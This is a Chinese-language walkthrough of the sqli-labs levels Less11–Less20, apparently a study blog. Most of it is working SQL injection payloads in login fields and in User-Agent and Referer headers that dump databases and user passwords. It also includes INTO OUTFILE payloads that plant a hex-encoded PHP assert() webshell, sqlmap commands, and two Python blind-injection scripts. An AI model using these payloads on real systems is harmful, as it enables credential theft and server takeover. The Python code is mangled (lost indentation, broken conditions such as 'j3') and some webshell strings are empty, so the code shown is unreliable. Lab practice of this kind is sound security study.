目录
Less11
Less12
Less13
Less14
Less15
Less16
Less17
Less18
Less19
Less20
Less1-Less10的时候爆的是当前数据库,root用户的强大力量没有显示出来,本文的10关打算跨库爆数据。
本关可以union注入也可以报错注入,但还是union注入方便点,这里我就用union注入了。
另外,根据代码,注入点可以是uname也可以是passwd,本文以uname为例。
假设我不知道存在的用户名,于是我post data输入:uname=ele'&passwd=pass&submit=Submit,结果报错了,根据报错信息可以判断闭合符号是单引号。
post data输入:uname=ele' order by 2#&passwd=pass&submit=Submit,没有报错
post data输入:uname=ele' order by 3#&passwd=pass&submit=Submit,报错了,从而知道查询结果是两列
然后把服务器上数据库全都爆出来:uname=ele' union select group_concat(schema_name),2 from information_schema.schemata#&passwd=pass&submit=Submit
然后来爆一下pikachu数据库的所有表名:uname=ele' union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'#&passwd=pass&submit=Submit
然后来爆一下pikachu数据库users表的所有列名: uname=ele' union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'#&passwd=pass&submit=Submit
最后来爆一下pikachu数据库users表username和password列的内容:
uname=ele' union select group_concat(username),group_concat(password) from pikachu.users#&passwd=pass&submit=Submit
(特别注意跨库注入的时候,表名前面要加库名)
写个webshell:uname=ele' union select 1,'' into outfile 'C:/less11.php'#&passwd=pass&submit=Submit
写入服务器的webshell:
题外话:
这关如果本身知道存在的用户名,那直接就能知道该用户的密码,也是另一个危害。比如,post data输入:uname=admin'#&passwd=pass&submit=Submit
顺便吐槽下这关的配色……对眼睛伤害好大
本关核心代码:
post方法接收参数,不处理,直接把参数扔到sql查询语句中,如果查询结果,页面回显查询结果,如果没有查询结果,页面显示mysql报错信息。到处爆雷……
这关除了 闭合不是单引号了,改")了,其他没啥区别。。
(如果闭合包含单引号,则uname=ele'#报sql语法错误,uname=ele"#不报;
如果闭合包含双引号,则uname=ele'#不报sql语法错误,uname=ele"#报)
简单写一下payload得了:
爆库:
uname=ele") union select group_concat(schema_name),2 from information_schema.schemata#&passwd=pass&submit=Submit
爆表:
uname=ele") union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'#&passwd=pass&submit=Submit
爆列:
uname=ele") union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'#&passwd=pass&submit=Submit
爆内容:
uname=ele") union select group_concat(username),group_concat(password) from pikachu.users#&passwd=pass&submit=Submit
写webshell:
uname=ele") union select 1,'' into outfile 'C:/less12.php'#&passwd=pass&submit=Submit
写入服务器的一句话木马:
本关代码和Less11比,就关于闭合的这段不一样
post data输入uname=ele'&passwd=pass&submit=Submit,从返回结果(sql语法问题)可见本关的闭合是')
post data分别输入uname=ele') order by 2#&passwd=pass&submit=Submit和uname=ele') order by 3#&passwd=pass&submit=Submit,可知查询结果有两列
post data输入uname=ele') union select 1,2#&passwd=pass&submit=Submit,发现这关的sql查询结果并不显示,看来这关要用报错注入了
post data输入uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&passwd=pass&submit=Submit,可以得到服务器上所有数据库名称的前31个字符
后面的就不一一截图了,跨库爆数据的所有payload如下:
#获取服务器上所有数据库的名称
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)#&passwd=pass&submit=Submit
#获取pikachu数据库的所有表名称
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)#&passwd=pass&submit=Submit
#获取pikachu数据库users表的所有列名称
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e),1)#&passwd=pass&submit=Submit
#获取pikachu数据库users表的username和password列的所有值
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),1,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),32,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),63,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),94,31),0x7e),1)#&passwd=pass&submit=Submit
写webshell的payload:
uname=ele') or 1=1 limit 0,1 into outfile 'C:/less13.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c65737331335d293b3f3e#&passwd=pass&submit=Submit
服务器上的webshell:
要特别注意:
用into outfile lines terminated by来写webshell,一定要into outfile前面有查询结果。
由于我们假设不知道用户名,所以这里要加上or 1=1才能有查询结果,而加limit 0,1是限制前面查询结果只有一行,否则写入的文件中会包含SELECT username, password FROM users的所有查询结果,并且每个查询结果后面都跟着
本关代码除了闭合,和上一关的区别只有不回显sql查询结果
post data输入uname=ele"&passwd=pass&submit=Submit
这关回显sql语法错误,并且闭合是"
和上一关一样,这关如果sql查询有值也不显示,所以还是用报错注入,图就不截了,和上一关差不多,跨库爆数据的所有payload如下:
#获取服务器上所有数据库的名称
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)#&passwd=pass&submit=Submit
#获取pikachu数据库的所有表名称
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)#&passwd=pass&submit=Submit
#获取pikachu数据库users表的所有列名称
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e),1)#&passwd=pass&submit=Submit
#获取pikachu数据库users表的username和password列的所有值
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),1,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),32,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),63,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),94,31),0x7e),1)#&passwd=pass&submit=Submit
写webshell的payload:
uname=ele" or 1=1 limit 0,1 into outfile 'C:/less14.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331345D293B3F3E#&passwd=pass&submit=Submit
服务器上被写入的webshell:
本关代码与上一关的区别也仅在于闭合不同了,无聊。。。不过可以学习到php中怎样可以做到双引号内嵌套双引号
这关参数中不管有单引号还是有双引号都不会有sql语法错误信息了,只能盲注了。
盲注需要sql语句查询结果正确或错误的情况下客户端表现不同。和前10关不一样,前10关知道id=1是正确的,id=-1一定是错误的,而Less11-Less20需要输入用户名和密码,且我们默认不知道用户名或者密码,这时就要借助or 1=1了
post data输入uname=ele&passwd=pass&submit=Submit或者uname=ele" or 1=1#&passwd=pass&submit=Submit,页面都返回登录失败
post data输入uname=ele' or 1=1#&passwd=pass&submit=Submit,登录成功,所以闭合是单引号,并且可以用布尔盲注
在登录失败和登录成功的情况下分别查看网页源代码,可以发现图片名称不同
登录失败是:../images/slap.jpg
登录成功是:../images/flag.jpg
所以脚本中可以以响应报文中是否包含字符串flag.jpg来判断sql查询结果是否正确
爆数据的python脚本如下:
#!/usr/bin/python3
# coding=utf-8
"""
functions for boolean-based sql injection(GET)
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.101.16/sqli-labs-master/Less-15/" #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部,根据实际情况填写
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符
flag = 'flag.jpg' #用于判断附加sql语句为真的字符,根据网页回显填写
def Databases15():
n = 100 #预测当前数据库名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j3:
payload1 = "ele' or (length((select group_concat(schema_name) from information_schema.schemata)))>"+str(j)+"-- ss" #所有payload根据实际情况填写
param = {
"uname":payload1,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers) #GET方法发送含payload的request
#print(response.request.headers)
#print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "ele' or (length((select group_concat(schema_name) from information_schema.schemata)))="+str(i)+"-- ss"
param = {
"uname":payload2,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "ele' or substring((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"'-- ss"
param = {
"uname":payload3,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
db = db+c
break
print("the name of databases are "+str(db))
def Tables15(database):
n = 200 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j3:
payload4 = "ele' or (length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"')))>"+str(j)+"-- ss"
param = {
"uname":payload4,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "ele' or (length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"')))="+str(i)+"-- ss"
param = {
"uname":payload5,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all tables in current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "ele' or substr((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'),"+str(i)+",1)='"+c+"'-- ss"
param = {
"uname":payload6,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
tname = tname+c
break
print("the name of all tables in "+database+" is "+str(tname))
def Columns15(database,table): #table参数是需要爆破的数据表名称,记得加单引号
n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j3:
payload7 = "ele' or (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"')))>"+str(j)+"-- ss"
param = {
"uname":payload7,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "ele' or (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"')))="+str(i)+"-- ss"
param = {
"uname":payload8,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "ele' or substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'),"+str(i)+",1)='"+c+"'-- ss"
param = {
"uname":payload9,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
cname = cname+c
break
print("the name of all columns in database "+database+" table "+table+" is "+str(cname))
def Content15(database,table,col1,col2): #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
n = 500 #预测期望获取的数据的最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j3:
payload10 = "ele' or (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+")))>"+str(j)+"-- ss"
param = {
"uname":payload10,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "ele' or (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+")))="+str(i)+"-- ss"
param = {
"uname":payload11,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "ele' or substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"),"+str(i)+",1)='"+c+"'-- ss"
param = {
"uname":payload12,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
content = content+c
break
print("the content is "+str(content))
代码测试结果:
写webshell的payload:
uname=ele' or 1=1 limit 0,1 into outfile 'C:/less15.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331355D293B3F3E#&passwd=pass&submit=Submit
服务器上被写入的webshell:
本关代码中sql查询结果和sql语法错误的回显都被注释掉了,但是查询结果正确和错误(包括没有查询结果和sql语法有问题)回显的图片名称不同
这关和Less15没多大差别,就闭合不一样,本关闭合是")。闭合可以自己攒个字典爆破。
post data输入uname=ele") or 1=1#&passwd=pass&submit=Submit,登录成功
本关爆数据的python代码如下
#!/usr/bin/python3
# coding=utf-8
"""
functions for boolean-based sql injection(GET)
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.101.16/sqli-labs-master/Less-16/" #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部,根据实际情况填写
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符
flag = 'flag.jpg' #用于判断附加sql语句为真的字符,根据网页回显填写
ele = 'ele")'
def Databases16():
n = 100 #预测当前数据库名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j3:
payload1 = ele+" or (length((select group_concat(schema_name) from information_schema.schemata)))>"+str(j)+"-- ss" #所有payload根据实际情况填写
param = {
"uname":payload1,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers) #GET方法发送含payload的request
#print(response.request.headers)
#print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = ele+" or (length((select group_concat(schema_name) from information_schema.schemata)))="+str(i)+"-- ss"
param = {
"uname":payload2,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = ele+" or substring((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"'-- ss"
param = {
"uname":payload3,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
db = db+c
break
print("the name of databases are "+str(db))
def Tables16(database):
n = 200 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j3:
payload4 = ele+" or (length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"')))>"+str(j)+"-- ss"
param = {
"uname":payload4,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = ele+" or (length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"')))="+str(i)+"-- ss"
param = {
"uname":payload5,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all tables in current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = ele+" or substr((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'),"+str(i)+",1)='"+c+"'-- ss"
param = {
"uname":payload6,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
tname = tname+c
break
print("the name of all tables in "+database+" is "+str(tname))
def Columns16(database,table): #table参数是需要爆破的数据表名称,记得加单引号
n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j3:
payload7 = ele+" or (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"')))>"+str(j)+"-- ss"
param = {
"uname":payload7,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = ele+" or (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"')))="+str(i)+"-- ss"
param = {
"uname":payload8,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = ele+" or substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'),"+str(i)+",1)='"+c+"'-- ss"
param = {
"uname":payload9,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
cname = cname+c
break
print("the name of all columns in database "+database+" table "+table+" is "+str(cname))
def Content16(database,table,col1,col2): #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
n = 500 #预测期望获取的数据的最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j3:
payload10 = ele+" or (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+")))>"+str(j)+"-- ss"
param = {
"uname":payload10,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = ele+" or (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+")))="+str(i)+"-- ss"
param = {
"uname":payload11,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = ele+" or substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"),"+str(i)+",1)='"+c+"'-- ss"
param = {
"uname":payload12,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers)
if response.text.find(flag) != -1:
content = content+c
break
print("the content is "+str(content))
代码测试结果
写webshell的payload:
uname=ele") or 1=1 limit 0,1 into outfile 'C:/less16.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331365D293B3F3E#&passwd=pass&submit=Submit
写入服务器的webshell:
本关代码没啥好说的,和上一关就闭合不同
这关长下图这样,推测相关的sql语句类似:
UPDATE 表名称 SET password = $pass WHERE username = $uname
来试试输入有语法问题的时候网页会不会报错。
试了之后发现,user name框框不管包含单引号还是双引号,都是不会报错的;
new password框框分情况:如果user name框框中输入的是系统中不存在的用户名,则new password框框中不管包含单引号还是双引号,都是不会报错的;但如果user name框框中输入的是系统中存在的用户名,则new password框框中包含单引号会报错。
这说明后端对用户输入的用户名字段有进行防护和验证,而密码字段可能没有。
post data输入:uname=admin&passwd=pass'&submit=Submit
根据报错信息可知闭合是单引号
接下来就可以用报错注入的方法爆出数据了,下面的payload是跨库爆数据的:
#获取服务器上所有数据库的名称
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&submit=Submit
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)#&submit=Submit
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)#&submit=Submit
#获取pikachu数据库的所有表名称
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)#&submit=Submit
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)#&submit=Submit
#获取pikachu数据库users表的所有列名称
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e),1)#&submit=Submit
#获取pikachu数据库users表的username和password列的所有值
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),1,31),0x7e),1)#&submit=Submit
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),32,31),0x7e),1)#&submit=Submit
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),63,31),0x7e),1)#&submit=Submit
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),94,31),0x7e),1)#&submit=Submit
爆数据的过程中发现,这边也遇到了pikachu SQL注入 (皮卡丘漏洞平台通关系列)_箭雨镜屋-CSDN博客 的update注入关卡相同的问题,payload中passwd的正常值部分(第一个单引号前面)不能包含英文字符,如果包含就会报下图的错误,但如果是数字就没关系。
看来在搞清楚原因之前只能记着注入点闭合符号之前的字符如果要求不严格,优先用数字;或者当闭合符号之前包含英文字符不好使,再试试数字。
写webshell的话,这关试了into outfile配合lines terminated by,不好使,总报语法错误。。暂时不知道怎么办。
之前好像没试过update语句用sqlmap来注入,所以这次试了一下,先用burpsuite抓包,右键copy to file保存为 E:\渗透测试学习资料\sqlilab\less17.txt
然后cmd串口用如下命令进行爆破数据
python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\less17.txt" --dbs
python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\less17.txt" --tables -D pikachu
python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\less17.txt" --columns -D pikachu -T users
python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\less17.txt" --dump -D pikachu -T users -C username,password
sqlmap写webshell用的也是into outfile配合lines terminated by,这关试了sqlmap也没法写webshell。
本关代码相比之前的关卡还是改动蛮大的:
用户输入uname和passwd传到服务器之后,服务器端代码先对uname进行处理,然后查询users表中username为uname的记录的username和password值,后续update语句中的修改的记录用这个查询到的username值定位。
而处理uname的函数如下,44行对uname长度进行了限制,54行ctype_digit()函数检测uname是否纯粹由数字构成,如果不是的话,56行中用mysql_real_escape_string()函数对其进行处理,对uname中包含的特殊字符进行转义。
这关一进来就是这样,页面显示客户端的ip地址。如果用户的ip地址被写入数据库,就会涉及insert语句,有可能有注入风险。
可是burpsuite抓到的报文并不包含客户端ip地址相关的请求头
折腾了一会儿,加了X-Forwarded-For头也不行,于是我去看代码了。。天。。居然注入点在User-Agent头,这个头也没回显,我怎么能知道它的值会被保存到数据库呢。。。
后来又仔细看了下代码,发现。。。username或password输入错误的值都不会回显User-Agent的值,但是如果username和password的值正确,就会像下图这样显示User-Agent的值啦。
那这关应该和pikachu的sql注入大类的http头注入关卡差不多,图不多截了,就用获取当前数据库名称为例:HTTP请求中User-Agent: 1'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or ' ,得到下图右侧的报错信息,暴露了当前数据库名称为security(这关一定要注意,请求正文中的uname和passwd的值一定要是数据库中存在的用户名和对应的密码,因为这关代码会先判断数据库中是否有该用户名和密码的用户,如果有才会将User-Agent和客户端ip信息写入数据库)
这关爆数据的payload如下:
(非常讨厌的是,这关跨库爆数据的所有步骤中,和pikachu SQL注入 (皮卡丘漏洞平台通关系列)_箭雨镜屋-CSDN博客 的http头注入 关卡中描述的一样,User-Agent头的正常值部分,也就是闭合之前的部分,需要是空,为字母也不行,为数字也不行,并且更糟糕的是不会报错,如果没有经验就要自己碰运气了)
#获取服务器上所有数据库的名称
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or '
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1) or '
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1) or '
#获取pikachu数据库的所有表名称
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1) or '
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1) or '
#获取pikachu数据库users表的所有列名称
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e),1) or '
#获取pikachu数据库users表的username和password列的所有值
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),1,31),0x7e),1) or '
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),32,31),0x7e),1) or '
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),63,31),0x7e),1) or '
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),94,31),0x7e),1) or '
这关代码主要注意以下几点:
1、回显在页面的客户端ip和User-Agent信息是如何获取的。从66和67行可以看出,User-Agent信息是从HTTP头获取的,而ip不是。
2、76和77行可以看出,本关对用户输入的uname和passwd参数都进行了检查和处理,使用的函数和上一关基本相同
3、下面第二张图可以看出,只有当数据库中有用户输入的uname和passwd对应的参数时,客户端ip和User-Agent信息才会被写入数据库,并在网页上显示User-Agent信息。
这关和上一关没啥区别,经过上一关之后,我明白套路了。这关同样也是用户名和密码都正确的情况下,才会显示Referer相关的信息
burpsuite抓包之后,send to repeater,然后修改Referer头的内容并发送就可以完成sql注入
具体爆数据的过程就不截图了,还是用报错注入,payload如下:
#获取服务器上所有数据库的名称
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or '
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1) or '
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1) or '
#获取pikachu数据库的所有表名称
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1) or '
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1) or '
#获取pikachu数据库users表的所有列名称
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e),1) or '
#获取pikachu数据库users表的username和password列的所有值
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),1,31),0x7e),1) or '
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),32,31),0x7e),1) or '
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),63,31),0x7e),1) or '
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),94,31),0x7e),1) or '
这关的代码和上一关也没多大差别,只是写入数据库和显示在页面的内容从User-Agent头变成Referer头了。
